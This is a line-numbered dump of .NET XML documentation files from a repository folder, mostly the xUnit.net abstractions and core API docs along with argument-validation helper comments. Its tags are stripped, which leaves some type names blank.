value is null, empty, or whitespace. 310 | 311 | The value of the argument. 312 | The name of the parameter to include in any thrown exception. 313 | Thrown if is null or empty. 314 | 315 | 316 | 317 | Throws an exception if the specified parameter's value is null, 318 | has no elements or has an element with a null value. 319 | 320 | The value of the argument. 321 | The name of the parameter to include in any thrown exception. 322 | Thrown if the tested condition is false. 323 | 324 | 325 | 326 | Throws an exception if the specified parameter's value is null, 327 | has no elements or has an element with a null value. 328 | 329 | The type of the elements in the sequence. 330 | The value of the argument. 331 | The name of the parameter to include in any thrown exception. 332 | Thrown if the tested condition is false. 333 | 334 | 335 | 336 | Throws an exception if the specified parameter's value is not null 337 | and has an element with a null value. 338 | 339 | The type of the elements in the sequence. 340 | The value of the argument. 341 | The name of the parameter to include in any thrown exception. 342 | Thrown if the tested condition is false. 343 | 344 | 345 | 346 | Throws an if a condition does not evaluate to true. 347 | 348 | 349 | 350 | 351 | Throws an if a condition does not evaluate to true. 352 | 353 | Nothing. This method always throws. 354 | 355 | 356 | 357 | Throws an if the specified value 358 | is not defined by the enum type. 359 | 360 | The type of enum the is constrained to be defined within. 361 | The value that must be defined in . 362 | The name of the parameter that supplied the . 363 | 364 | 365 | 366 | Throws an ArgumentException if a condition does not evaluate to true. 367 | 368 | 369 | 370 | 371 | Throws an ArgumentException if a condition does not evaluate to true. 372 | 373 | 374 | 375 | 376 | Throws an ArgumentException if a condition does not evaluate to true. 377 | 378 | 379 | 380 | 381 | Throws an ArgumentException if a condition does not evaluate to true. 382 | 383 | 384 | 385 | 386 | Validates some expression describing the acceptable condition for an argument evaluates to true. 387 | 388 | The expression that must evaluate to true to avoid an . 389 | Name of the parameter. 390 | The unformatted message. 391 | Formatting arguments. 392 | 393 | 394 | 395 | Validates some expression describing the acceptable condition for an argument evaluates to true. 396 | 397 | The expression that must evaluate to true to avoid an . 398 | The message to include with the exception. 399 | 400 | 401 | 402 | Throws an ArgumentException. 403 | 404 | Nothing. It always throws. 405 | 406 | 407 | 408 | Throws an ArgumentException. 409 | 410 | Nothing. It always throws. 411 | 412 | 413 | 414 | Throws an ArgumentException. 415 | 416 | Nothing. This method always throws. But the signature allows calling code to "throw" this method for C# syntax reasons. 417 | 418 | 419 | 420 | Helper method that formats string arguments. 421 | 422 | The formatted string. 423 | 424 | 425 | 426 | A strongly-typed resource class, for looking up localized strings, etc. 427 | 428 | 429 | 430 | 431 | Returns the cached ResourceManager instance used by this class. 432 | 433 | 434 | 435 | 436 | Overrides the current thread's CurrentUICulture property for all 437 | resource lookups using this strongly typed resource class. 438 | 439 | 440 | 441 | 442 | Looks up a localized string similar to '{0}' must contain at least one element.. 443 | 444 | 445 | 446 | 447 | Looks up a localized string similar to '{0}' cannot be an empty string ("") or start with the null character.. 448 | 449 | 450 | 451 | 452 | Looks up a localized string similar to '{0}' must be set to a value defined by the enum '{1}'.. 453 | 454 | 455 | 456 | 457 | Looks up a localized string similar to '{0}' cannot contain a null (Nothing in Visual Basic) element.. 458 | 459 | 460 | 461 | 462 | Looks up a localized string similar to The parameter "{0}" cannot consist entirely of white space characters.. 463 | 464 | 465 | 466 | 467 | Looks up a localized string similar to An internal error occurred. Please contact customer support.. 468 | 469 | 470 | 471 | 472 | Looks up a localized string similar to Cannot find an instance of the {0} service.. 473 | 474 | 475 | 476 | 477 | Indicates to Code Analysis that a method validates a particular parameter. 478 | 479 | 480 | 481 | 482 | Initializes a new instance of the class. 483 | 484 | 485 | 486 | 487 | Common runtime checks that throw exceptions upon failure. 488 | 489 | 490 | 491 | 492 | Throws an if a condition is false. 493 | 494 | 495 | 496 | 497 | Throws an if a condition is false. 498 | 499 | 500 | 501 | 502 | Throws an if a condition is false. 503 | 504 | 505 | 506 | 507 | Throws an if a condition is false. 508 | 509 | 510 | 511 | 512 | Throws an . 513 | 514 | 515 | Nothing. This method always throws. 516 | The signature claims to return an exception to allow callers to throw this method 517 | to satisfy C# execution path constraints. 518 | 519 | 520 | 521 | 522 | Throws an if an object is disposed. 523 | 524 | 525 | 526 | 527 | Throws an if a condition is false. 528 | 529 | 530 | 531 | 532 | Throws an if a condition is false. 533 | 534 | 535 | 536 | 537 | -------------------------------------------------------------------------------- /src/Koppeling/xunit.abstractions.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | xunit.abstractions 5 | 6 | 7 | 8 | 9 | Represents source information about a test case. 10 | 11 | 12 | 13 | 14 | Interface implement by objects that want to support serialization in xUnit.net. 15 | 16 | 17 | 18 | 19 | Called when the object should populate itself with data from the serialization info. 20 | 21 | The info to get the data from 22 | 23 | 24 | 25 | Called when the object should store its data into the serialization info. 26 | 27 | The info to store the data in 28 | 29 | 30 | 31 | Gets or sets the source file name. A null value indicates that the 32 | source file name is not known. 33 | 34 | 35 | 36 | 37 | Gets or sets the source file line. A null value indicates that the 38 | source file line is not known. 39 | 40 | 41 | 42 | 43 | Represents a provider which gives source line information for a test case. Generally 44 | consumed by an implementation of during Find operations. 45 | 46 | 47 | 48 | 49 | Returns the source information for a test case. 50 | 51 | The test case to retrieve information for. 52 | The source information, with null string and int values when the information is not available. 53 | Note: return value should never be null, only the interior data values inside. 54 | 55 | 56 | 57 | Represents a test framework. There are two pieces to test frameworks: discovery and 58 | execution. The two factory methods represent these two pieces. Test frameworks can 59 | implement an empty constructor, or they can implement one that takes 60 | if they want to be able to send diagnostic messages. 61 | 62 | 63 | 64 | 65 | Get a test discoverer. 66 | 67 | The assembly from which to discover the tests. 68 | The test discoverer. 69 | 70 | 71 | 72 | Get a test executor. 73 | 74 | The name of the assembly to run tests from. 75 | The test executor. 76 | 77 | 78 | 79 | Sets the source information provider to be used during discovery. 80 | 81 | 82 | 83 | 84 | Represents an implementation of the discovery part of a test framework. 85 | 86 | 87 | 88 | 89 | Starts the process of finding all tests in an assembly. 90 | 91 | Whether to include source file information, if possible. 92 | The message sink to report results back to. 93 | The options used by the test framework during discovery. 94 | 95 | 96 | 97 | Starts the process of finding all tests in a class. 98 | 99 | The fully qualified type name to find tests in. 100 | Whether to include source file information, if possible. 101 | The message sink to report results back to. 102 | The options used by the test framework during discovery. 103 | 104 | 105 | 106 | Serializes a test case into string form. 107 | 108 | The test case to be serialized. 109 | The serialized representation of the test case. 110 | 111 | 112 | 113 | Gets the target framework that the test assembly is linked against. 114 | 115 | 116 | 117 | 118 | Returns the display name of the test framework that this discoverer is running tests for. 119 | 120 | 121 | 122 | 123 | Represents an instance of that is to be used for 124 | test discovery purposes. 125 | 126 | 127 | 128 | 129 | This interface should not be consumed directly; instead, you should 130 | consume 131 | or . 132 | 133 | 134 | 135 | 136 | Gets an option value. 137 | 138 | The type of the value. 139 | The name of the value. 140 | The value. 141 | 142 | 143 | 144 | Sets an option value. 145 | 146 | The type of the value. 147 | The name of the value. 148 | The value to be set. 149 | 150 | 151 | 152 | Represents an instance of that is to be used for 153 | test execution purposes. 154 | 155 | 156 | 157 | 158 | Represents an implementation of the execution part of a test framework. 159 | 160 | 161 | 162 | 163 | De-serializes a test case. 164 | 165 | The string representation of the test case. 166 | The de-serialized test case. 167 | 168 | 169 | 170 | Starts the process of running all the tests in the assembly. 171 | 172 | The message sink to report results back to. 173 | The options to be used during test discovery. 174 | The options to be used during test execution. 175 | 176 | 177 | 178 | Starts the process of running selected tests in the assembly. 179 | 180 | The test cases to run. 181 | The message sink to report results back to. 182 | The options to be used during test execution. 183 | 184 | 185 | 186 | Base message interface for all messages related to test execution. It includes the list 187 | of test cases that are associated with this execution step. 188 | 189 | 190 | 191 | 192 | This is the base interface for all test messages. A test message is a message that is 193 | used to communicate the status of discovery and execution of tests. 194 | 195 | 196 | 197 | 198 | The test cases that are associated with this message. 199 | 200 | 201 | 202 | 203 | This represents failure information for the test runner. It encapsulates multiple sets 204 | of exceptions so that it can provide inner exception information, including support for 205 | . The parent indices indicate the hierarchy of the exceptions 206 | as extracted during the failure; the 0th exception is always the single parent of the tree, 207 | and will have an index of -1. 208 | 209 | 210 | 211 | 212 | The fully-qualified type name of the exceptions. 213 | 214 | 215 | 216 | 217 | The messages of the exceptions. 218 | 219 | 220 | 221 | 222 | The stack traces of the exceptions. 223 | 224 | 225 | 226 | 227 | The parent exception index for the exceptions; a -1 indicates that 228 | the exception in question has no parent. 229 | 230 | 231 | 232 | 233 | This is the base message for various types of completion that can occur during the 234 | various phases of execution process (e.g., test case, test class, test collection, 235 | and assembly). 236 | 237 | 238 | 239 | 240 | The execution time (in seconds) for this execution. 241 | 242 | 243 | 244 | 245 | The number of failing tests. 246 | 247 | 248 | 249 | 250 | The total number of tests run. 251 | 252 | 253 | 254 | 255 | The number of skipped tests. 256 | 257 | 258 | 259 | 260 | Represents an endpoint for the reception of test messages. 261 | 262 | 263 | 264 | 265 | Reports the presence of a message on the message bus. This method should 266 | never throw exceptions. 267 | 268 | The message from the message bus 269 | Return true to continue running tests, or false to stop. 270 | 271 | 272 | 273 | Base message interface for all messages related to test assemblies. 274 | 275 | 276 | 277 | 278 | The test assembly that is associated with this message. 279 | 280 | 281 | 282 | 283 | Base message interface for all messages related to test cases. 284 | 285 | 286 | 287 | 288 | Base message interface for all messages related to test methods. 289 | 290 | 291 | 292 | 293 | Base message interface for all messages related to test classes. 294 | 295 | 296 | 297 | 298 | Base message interface for all messages related to test collections. 299 | 300 | 301 | 302 | 303 | The test collection that is associated with this message. 304 | 305 | 306 | 307 | 308 | The test class that is associated with this message. 309 | 310 | 311 | 312 | 313 | The test method that is associated with this message. 314 | 315 | 316 | 317 | 318 | The test case that is associated with this message. 319 | 320 | 321 | 322 | 323 | Base message interface for all messages related to tests. 324 | 325 | 326 | 327 | 328 | The test that is associated with this message. 329 | 330 | 331 | 332 | 333 | This is the base interface for all individual test results (e.g., tests which 334 | pass, fail, or are skipped). 335 | 336 | 337 | 338 | 339 | The execution time of the test, in seconds. 340 | 341 | 342 | 343 | 344 | The captured output of the test. 345 | 346 | 347 | 348 | 349 | This message is sent during execution to indicate that the After method of 350 | a has completed executing. 351 | 352 | 353 | 354 | 355 | The fully qualified type name of the . 356 | 357 | 358 | 359 | 360 | This message is sent during execution to indicate that the After method of 361 | a is about to execute. 362 | 363 | 364 | 365 | 366 | The fully qualified type name of the . 367 | 368 | 369 | 370 | 371 | This message is sent during execution to indicate that the Before method of 372 | a has completed executing. 373 | 374 | 375 | 376 | 377 | The fully qualified type name of the . 378 | 379 | 380 | 381 | 382 | This message is sent during execution to indicate that the Before method of 383 | a is about to execute. 384 | 385 | 386 | 387 | 388 | The fully qualified type name of the . 389 | 390 | 391 | 392 | 393 | This message is sent when the test framework wants to report a diagnostic message 394 | to the end user. 395 | 396 | 397 | 398 | 399 | Gets the diagnostic message. 400 | 401 | 402 | 403 | 404 | This message indicates that the discovery process has been completed for 405 | the requested assembly. 406 | 407 | 408 | 409 | 410 | This message indicates that an error has occurred in the execution process. 411 | 412 | 413 | 414 | 415 | This message indicates that an error has occurred in test assembly cleanup. 416 | 417 | 418 | 419 | 420 | This message indicates that the execution process has been completed for 421 | the requested assembly. 422 | 423 | 424 | 425 | 426 | This message indicates that the execution process is about to start for 427 | the requested assembly. 428 | 429 | 430 | 431 | 432 | Gets the local date and time when the test assembly execution began. 433 | 434 | 435 | 436 | 437 | Gets a display string that describes the test execution environment. 438 | 439 | 440 | 441 | 442 | Gets a display string which describes the test framework and version number. 443 | 444 | 445 | 446 | 447 | This message indicates that an error has occurred during test case cleanup. 448 | 449 | 450 | 451 | 452 | This message indicates that a test case had been found during the discovery process. 453 | 454 | 455 | 456 | 457 | This message indicates that a test case has finished executing. 458 | 459 | 460 | 461 | 462 | This message indicates that a test case is about to start executing. 463 | 464 | 465 | 466 | 467 | This message indicates that an error has occurred during test class cleanup. 468 | 469 | 470 | 471 | 472 | This message indicates that an instance of a test class has just been constructed. 473 | Instance (non-static) methods of tests get a new instance of the test class for each 474 | individual test execution; static methods do not get an instance of the test class. 475 | 476 | 477 | 478 | 479 | This message indicates that an instance of a test class is about to be constructed. 480 | Instance (non-static) methods of tests get a new instance of the test class for each 481 | individual test execution; static methods do not get an instance of the test class. 482 | 483 | 484 | 485 | 486 | This message indicates that the method was 487 | just called on the test class for the test case that just finished executing. 488 | 489 | 490 | 491 | 492 | This message indicates that the method is 493 | about to be called on the test class for the test case that just finished executing. 494 | 495 | 496 | 497 | 498 | This message indicates that a test class has finished executing (meaning, all of the 499 | test cases in this test class have finished running). 500 | 501 | 502 | 503 | 504 | This message indicates that a test class is about to begin running. 505 | 506 | 507 | 508 | 509 | This message indicates that an error has occurred during test cleanup. 510 | 511 | 512 | 513 | 514 | This message indicates that an error has occurred during test collection cleanup. 515 | 516 | 517 | 518 | 519 | This message indicates that a test collection has just finished executing (meaning, 520 | all the test classes in the collection has finished). 521 | 522 | 523 | 524 | 525 | This message indicates that a test collection has is about to start executing. 526 | 527 | 528 | 529 | 530 | This message indicates that a test has failed. 531 | 532 | 533 | 534 | 535 | This message indicates that a test has finished executing. 536 | 537 | 538 | 539 | 540 | Gets the time spent executing the test, in seconds. 541 | 542 | 543 | 544 | 545 | The captured output of the test. 546 | 547 | 548 | 549 | 550 | This message indicates that an error has occurred during test method cleanup. 551 | 552 | 553 | 554 | 555 | This message indicates that a test method has finished executing (meaning, all 556 | the test cases that derived from the test method have finished). 557 | 558 | 559 | 560 | 561 | This message indicates that a test method is about to begin executing. 562 | 563 | 564 | 565 | 566 | This message indicates that a line of output was provided for a test. 567 | 568 | 569 | 570 | 571 | Gets the line of output. 572 | 573 | 574 | 575 | 576 | Indicates that a test has passed. 577 | 578 | 579 | 580 | 581 | This message indicates that a test was skipped. 582 | 583 | 584 | 585 | 586 | The reason given for skipping the test. 587 | 588 | 589 | 590 | 591 | This message indicates that a test is about to start executing. 592 | 593 | 594 | 595 | 596 | Represents information about an assembly. The primary implementation is based on runtime 597 | reflection, but may also be implemented by runner authors to provide non-reflection-based 598 | test discovery (for example, AST-based runners like CodeRush or Resharper). 599 | 600 | 601 | 602 | 603 | Gets all the custom attributes for the given assembly. 604 | 605 | The type of the attribute, in assembly-qualified form 606 | The matching attributes that decorate the assembly 607 | 608 | 609 | 610 | Gets a for the given type. 611 | 612 | The fully qualified type name. 613 | The if the type exists, or null if not. 614 | 615 | 616 | 617 | Gets all the types for the assembly. 618 | 619 | Set to true to return all types in the assembly, 620 | or false to return only public types. 621 | The types in the assembly. 622 | 623 | 624 | 625 | Gets the on-disk location of the assembly under test. If the assembly path is not 626 | known (for example, in AST-based runners), you must return null. 627 | 628 | 629 | This is used by the test framework wrappers to find the co-located unit test framework 630 | assembly (f.e., xunit.dll or xunit.execution.dll). AST-based runners will need to directly create 631 | instances of and (using the constructors that 632 | support an explicit path to the test framework DLL) rather than relying on the 633 | use of . 634 | 635 | 636 | 637 | 638 | Gets the assembly name. May return a fully qualified name for assemblies found via 639 | reflection (i.e., "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"), 640 | or may return just assembly name only for assemblies found via source code introspection 641 | (i.e., "mscorlib"). 642 | 643 | 644 | 645 | 646 | Represents information about an attribute. The primary implementation is based on runtime 647 | reflection, but may also be implemented by runner authors to provide non-reflection-based 648 | test discovery (for example, AST-based runners like CodeRush or Resharper). 649 | 650 | 651 | 652 | 653 | Gets the arguments passed to the constructor. 654 | 655 | The constructor arguments, in order 656 | 657 | 658 | 659 | Gets all the custom attributes for the given attribute. 660 | 661 | The type of the attribute to find, in assembly-qualified form 662 | The matching attributes that decorate the attribute 663 | 664 | 665 | 666 | Gets a named-argument initialized value of the attribute. If there is no named argument for the given name 667 | on this attribute, then returns default(TValue). 668 | 669 | The type of the argument 670 | The name of the argument 671 | The argument value 672 | 673 | 674 | 675 | Represents information about a method. The primary implementation is based on runtime 676 | reflection, but may also be implemented by runner authors to provide non-reflection-based 677 | test discovery (for example, AST-based runners like CodeRush or Resharper). 678 | 679 | 680 | 681 | 682 | Gets all the custom attributes for the method that are of the given type. 683 | 684 | The type of the attribute, in assembly qualified form 685 | The matching attributes that decorate the method 686 | 687 | 688 | 689 | Gets the types of the generic arguments for generic methods. 690 | 691 | The argument types. 692 | 693 | 694 | 695 | Gets information about the parameters to the method. 696 | 697 | The method's parameters. 698 | 699 | 700 | 701 | Converts an open generic method into a closed generic method, using the provided type arguments. 702 | 703 | The type arguments to be used in the generic definition. 704 | A new that represents the closed generic method. 705 | 706 | 707 | 708 | Gets a value indicating whether the method is abstract. 709 | 710 | 711 | 712 | 713 | Gets a value indicating whether the method is a generic definition (i.e., an open generic). 714 | 715 | 716 | 717 | 718 | Gets a value indicating whether the method is public. 719 | 720 | 721 | 722 | 723 | Gets a value indicating whether the method is static. 724 | 725 | 726 | 727 | 728 | Gets the name of the method. 729 | 730 | 731 | 732 | 733 | Gets the fully qualified type name of the return type. 734 | 735 | 736 | 737 | 738 | Gets a value which represents the class that this method was 739 | reflected from (i.e., equivalent to MethodInfo.ReflectedType) 740 | 741 | 742 | 743 | 744 | Represents information about a method parameter. The primary implementation is based on runtime 745 | reflection, but may also be implemented by runner authors to provide non-reflection-based 746 | test discovery (for example, AST-based runners like CodeRush or Resharper). 747 | 748 | 749 | 750 | 751 | The name of the parameter. 752 | 753 | 754 | 755 | 756 | Gets the type of the parameter. 757 | 758 | 759 | 760 | 761 | Represents a reflection-backed implementation of . 762 | 763 | 764 | 765 | 766 | Gets the underlying for the assembly. 767 | 768 | 769 | 770 | 771 | Represents a reflection-backed implementation of . 772 | 773 | 774 | 775 | 776 | Gets the instance of the attribute, if available. 777 | 778 | 779 | 780 | 781 | Represents a reflection-backed implementation of . 782 | 783 | 784 | 785 | 786 | Gets the underlying for the method. 787 | 788 | 789 | 790 | 791 | Represents a reflection-backed implementation of . 792 | 793 | 794 | 795 | 796 | Gets the underlying for the parameter. 797 | 798 | 799 | 800 | 801 | Represents a reflection-backed implementation of . 802 | 803 | 804 | 805 | 806 | Represents information about a type. The primary implementation is based on runtime 807 | reflection, but may also be implemented by runner authors to provide non-reflection-based 808 | test discovery (for example, AST-based runners like CodeRush or Resharper). 809 | 810 | 811 | 812 | 813 | Gets all the custom attributes for the given type. 814 | 815 | The type of the attribute, in assembly qualified form 816 | The matching attributes that decorate the type 817 | 818 | 819 | 820 | Gets the generic type arguments for a generic type. 821 | 822 | The list of generic types. 823 | 824 | 825 | 826 | Gets a specific method. 827 | 828 | The name of the method. 829 | Set to true to look for the method in both public and private. 830 | The method. 831 | 832 | 833 | 834 | Gets all the methods in this type. 835 | 836 | Set to true to return all methods in the type, 837 | or false to return only public methods. 838 | 839 | 840 | 841 | Gets the assembly this type is located in. 842 | 843 | 844 | 845 | 846 | Gets the base type of the given type. 847 | 848 | 849 | 850 | 851 | Gets the interfaces implemented by the given type. 852 | 853 | 854 | 855 | 856 | Gets a value indicating whether the type is abstract. 857 | 858 | 859 | 860 | 861 | Gets a value indicating whether the type represents a generic parameter. 862 | 863 | 864 | 865 | 866 | Gets a value indicating whether the type is a generic type. 867 | 868 | 869 | 870 | 871 | Gets a value indicating whether the type is sealed. 872 | 873 | 874 | 875 | 876 | Gets a value indicating whether the type is a value type. 877 | 878 | 879 | 880 | 881 | Gets the fully qualified type name (for non-generic parameters), or the 882 | simple type name (for generic parameters). 883 | 884 | 885 | 886 | 887 | Gets the underlying object. 888 | 889 | 890 | 891 | 892 | Represents serialization support in xUnit.net. 893 | 894 | 895 | 896 | 897 | Adds a value to the serialization. Supported value types include the built-in 898 | intrinsics (string, int, long, float, double, and decimal, including nullable 899 | versions of those), any class which implements ), 900 | or arrays of any supported types. 901 | 902 | The key 903 | The value 904 | The optional type of the value 905 | 906 | 907 | 908 | Gets a value from the serialization. 909 | 910 | The key 911 | The type of the value 912 | The value, if present; null, otherwise 913 | 914 | 915 | 916 | Gets a value from the serialization. 917 | 918 | The key 919 | The value, if present; default(T), otherwise 920 | 921 | 922 | 923 | Represents a single test in the system. A test case typically contains only a single test, 924 | but may contain many if circumstances warrant it (for example, test data for a theory cannot 925 | be pre-enumerated, so the theory yields a single test case with multiple tests). 926 | 927 | 928 | 929 | 930 | Gets the display name of the test. 931 | 932 | 933 | 934 | 935 | Gets the test case this test belongs to. 936 | 937 | 938 | 939 | 940 | Represents a test assembly. 941 | 942 | 943 | 944 | 945 | Gets the assembly that this test assembly belongs to. 946 | 947 | 948 | 949 | 950 | Gets the full path of the configuration file name, if one is present. 951 | May be null if there is no configuration file. 952 | 953 | 954 | 955 | 956 | Represents a single test case in the system. This test case usually represents a single test, but in 957 | the case of dynamically generated data for data driven tests, the test case may actually return 958 | multiple results when run. 959 | 960 | 961 | 962 | 963 | Gets the display name of the test case. 964 | 965 | 966 | 967 | 968 | Gets the display text for the reason a test is being skipped; if the test 969 | is not skipped, returns null. 970 | 971 | 972 | 973 | 974 | Get or sets the source file name and line where the test is defined, if requested (and known). 975 | 976 | 977 | 978 | 979 | Gets the test method this test case belongs to. 980 | 981 | 982 | 983 | 984 | Gets the arguments that will be passed to the test method. 985 | 986 | 987 | 988 | 989 | Gets the trait values associated with this test case. If 990 | there are none, or the framework does not support traits, 991 | this should return an empty dictionary (not null). This 992 | dictionary must be treated as read-only. 993 | 994 | 995 | 996 | 997 | Gets a unique identifier for the test case. 998 | 999 | 1000 | The unique identifier for a test case should be able to discriminate 1001 | among test cases, even those which are varied invocations against the 1002 | same test method (i.e., theories). Ideally, this identifier would remain 1003 | stable until such time as the developer changes some fundamental part 1004 | of the identity (assembly, class name, test name, or test data); however, 1005 | the minimum stability of the identifier must at least extend across 1006 | multiple discoveries of the same test in the same (non-recompiled) 1007 | assembly. 1008 | 1009 | 1010 | 1011 | 1012 | Represents a test class. 1013 | 1014 | 1015 | 1016 | 1017 | Gets the class that this test case is attached to. 1018 | 1019 | 1020 | 1021 | 1022 | Gets the test collection this test case belongs to. 1023 | 1024 | 1025 | 1026 | 1027 | Represents a group of test cases. Test collections form the basis of the parallelization in 1028 | xUnit.net. Test cases which are in the same test collection will not be run in parallel 1029 | against sibling tests, but will run in parallel against tests in other collections. 1030 | 1031 | 1032 | 1033 | 1034 | Gets the type that the test collection was defined with, if available; may be null 1035 | if the test collection didn't have a definition type. 1036 | 1037 | 1038 | 1039 | 1040 | Gets the display name of the test collection. 1041 | 1042 | 1043 | 1044 | 1045 | Gets the test assembly this test collection belongs to. 1046 | 1047 | 1048 | 1049 | 1050 | Gets the test collection ID. Test collection equality is determined by comparing IDs. 1051 | 1052 | 1053 | 1054 | 1055 | Represents a test method. 1056 | 1057 | 1058 | 1059 | 1060 | Gets the method associated with this test method. 1061 | 1062 | 1063 | 1064 | 1065 | Gets the test class that this test method belongs to. 1066 | 1067 | 1068 | 1069 | 1070 | Represents a class which can be used to provide test output. 1071 | 1072 | 1073 | 1074 | 1075 | Adds a line of text to the output. 1076 | 1077 | The message 1078 | 1079 | 1080 | 1081 | Formats a line of text and adds it to the output. 1082 | 1083 | The message format 1084 | The format arguments 1085 | 1086 | 1087 | 1088 | -------------------------------------------------------------------------------- /src/Koppeling/xunit.core.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | xunit.core 5 | 6 | 7 | 8 | 9 | Attribute used to decorate an assembly with arbitrary name/value pairs ("traits"). 10 | 11 | 12 | 13 | 14 | Creates a new instance of the class. 15 | 16 | The trait name 17 | The trait value 18 | 19 | 20 | 21 | Provides a data source for a data theory, with the data coming from a class 22 | which must implement IEnumerable<object[]>. 23 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets. 24 | 25 | 26 | 27 | 28 | Initializes a new instance of the class. 29 | 30 | The class that provides the data. 31 | 32 | 33 | 34 | Gets the type of the class that provides the data. 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | Used to declare a specific test collection for a test class. 43 | 44 | 45 | 46 | 47 | Initializes a new instance of the class. 48 | 49 | The test collection name. 50 | 51 | 52 | 53 | Defines the built-in behavior types for collections in xUnit.net. 54 | 55 | 56 | 57 | 58 | By default, generates a collection per assembly, and any test classes that are not 59 | decorated with will be placed into the assembly-level 60 | collection. 61 | 62 | 63 | 64 | 65 | By default, generates a collection per test class for any test classes that are not 66 | decorated with . 67 | 68 | 69 | 70 | 71 | Used to declare the default test collection behavior for the assembly. 72 | 73 | 74 | 75 | 76 | Initializes a new instance of the class. 77 | 78 | 79 | 80 | 81 | Initializes a new instance of the class. 82 | 83 | The collection behavior for the assembly. 84 | 85 | 86 | 87 | Initializes a new instance of the class. 88 | 89 | The type name of the test collection factory (that implements ). 90 | The assembly that exists in. 91 | 92 | 93 | 94 | Determines whether tests in this assembly are run in parallel. 95 | 96 | 97 | 98 | 99 | Determines how many tests can run in parallel with each other. If set to 0, the system will 100 | use . If set to a negative number, then there will 101 | be no limit to the number of threads. 102 | 103 | 104 | 105 | 106 | Used to declare a test collection container class. The container class gives 107 | developers a place to attach interfaces like and 108 | that will be applied to all tests classes 109 | that are members of the test collection. 110 | 111 | 112 | 113 | 114 | Initializes a new instance of the class. 115 | 116 | The test collection name. 117 | 118 | 119 | 120 | Determines whether tests in this collection runs in parallel with any other collections. 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | Attribute that is applied to a method to indicate that it is a fact that should be run 135 | by the test runner. It can also be extended to support a customized definition of a 136 | test method. 137 | 138 | 139 | 140 | 141 | Gets the name of the test to be used when the test is skipped. Defaults to 142 | null, which will cause the fully qualified test name to be used. 143 | 144 | 145 | 146 | 147 | Marks the test so that it will not be run, and gets or sets the skip reason 148 | 149 | 150 | 151 | 152 | Marks the test as having a timeout, and gets or sets the timeout (in milliseconds). 153 | WARNING: Using this with parallelization turned on will result in undefined behavior. 154 | Timeout is only supported when parallelization is disabled, either globally or with 155 | a parallelization-disabled test collection. 156 | 157 | 158 | 159 | 160 | Used to provide asynchronous lifetime functionality. Currently supported: 161 | - Test classes 162 | - Classes used in 163 | - Classes used in . 164 | 165 | 166 | 167 | 168 | Called immediately after the class has been created, before it is used. 169 | 170 | 171 | 172 | 173 | Called when an object is no longer needed. Called just before 174 | if the class also implements that. 175 | 176 | 177 | 178 | 179 | Used to decorate xUnit.net test classes and collections to indicate a test which has 180 | per-test-class fixture data. An instance of the fixture data is initialized just before 181 | the first test in the class is run, and if it implements IDisposable, is disposed 182 | after the last test in the class is run. To gain access to the fixture data from 183 | inside the test, a constructor argument should be added to the test class which 184 | exactly matches the . Class fixtures must have a 185 | single parameterless constructor, and may take collection fixture types as constructor 186 | arguments. 187 | 188 | The type of the fixture. 189 | 190 | If asynchronous setup of is required 191 | it should implement the interface. 192 | 193 | 194 | 195 | 196 | Used to decorate xUnit.net test classes and collections to indicate a test which has 197 | per-test-collection fixture data. An instance of the fixture data is initialized just before 198 | the first test in the collection is run, and if it implements IDisposable, is disposed 199 | after the last test in the collection is run. To gain access to the fixture data from 200 | inside the test, a constructor argument should be added to the test class which 201 | exactly matches the . 202 | 203 | The type of the fixture. 204 | 205 | If asynchronous setup of is required 206 | it should implement the interface. 207 | 208 | 209 | 210 | 211 | Provides a data source for a data theory, with the data coming from inline values. 212 | 213 | 214 | 215 | 216 | Initializes a new instance of the class. 217 | 218 | The data values to pass to the theory. 219 | 220 | 221 | 222 | 223 | 224 | 225 | A class implements this interface to participate in ordering tests 226 | for the test runner. Test collection orderers are applied using the 227 | , which can be applied at 228 | the assembly level. 229 | 230 | 231 | 232 | 233 | Orders test collections for execution. 234 | 235 | The test collections to be ordered. 236 | The test collections in the order to be run. 237 | 238 | 239 | 240 | Provides a data source for a data theory, with the data coming from one of the following sources: 241 | 1. A static property 242 | 2. A static field 243 | 3. A static method (with parameters) 244 | The member must return something compatible with IEnumerable<object[]> with the test data. 245 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets. 246 | 247 | 248 | 249 | 250 | Initializes a new instance of the class. 251 | 252 | The name of the public static member on the test class that will provide the test data 253 | The parameters for the member (only supported for methods; ignored for everything else) 254 | 255 | 256 | 257 | 258 | 259 | 260 | Provides a base class for attributes that will provide member data. The member data must return 261 | something compatible with . 262 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets. 263 | 264 | 265 | 266 | 267 | Initializes a new instance of the class. 268 | 269 | The name of the public static member on the test class that will provide the test data 270 | The parameters for the member (only supported for methods; ignored for everything else) 271 | 272 | 273 | 274 | Returns true if the data attribute wants to skip enumerating data during discovery. 275 | This will cause the theory to yield a single test case for all data, and the data discovery 276 | will be during test execution instead of discovery. 277 | 278 | 279 | 280 | 281 | Gets the member name. 282 | 283 | 284 | 285 | 286 | Gets or sets the type to retrieve the member from. If not set, then the property will be 287 | retrieved from the unit test class. 288 | 289 | 290 | 291 | 292 | Gets or sets the parameters passed to the member. Only supported for static methods. 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | Converts an item yielded by the data member to an object array, for return from . 301 | 302 | The method that is being tested. 303 | An item yielded from the data member. 304 | An suitable for return from . 305 | 306 | 307 | 308 | Allows the user to record actions for a test. 309 | 310 | 311 | 312 | 313 | Records any exception which is thrown by the given code. 314 | 315 | The code which may throw an exception. 316 | Returns the exception that was thrown by the code; null, otherwise. 317 | 318 | 319 | 320 | Records any exception which is thrown by the given code that has 321 | a return value. Generally used for testing property accessors. 322 | 323 | The code which may throw an exception. 324 | Returns the exception that was thrown by the code; null, otherwise. 325 | 326 | 327 | 328 | 329 | 330 | 331 | Records any exception which is thrown by the given task. 332 | 333 | The task which may throw an exception. 334 | Returns the exception that was thrown by the code; null, otherwise. 335 | 336 | 337 | 338 | 339 | 340 | 341 | The implementation of which returns the trait values 342 | for . 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | Base attribute which indicates a test method interception (allows code to be run before and 351 | after the test is run). 352 | 353 | 354 | 355 | 356 | This method is called after the test method is executed. 357 | 358 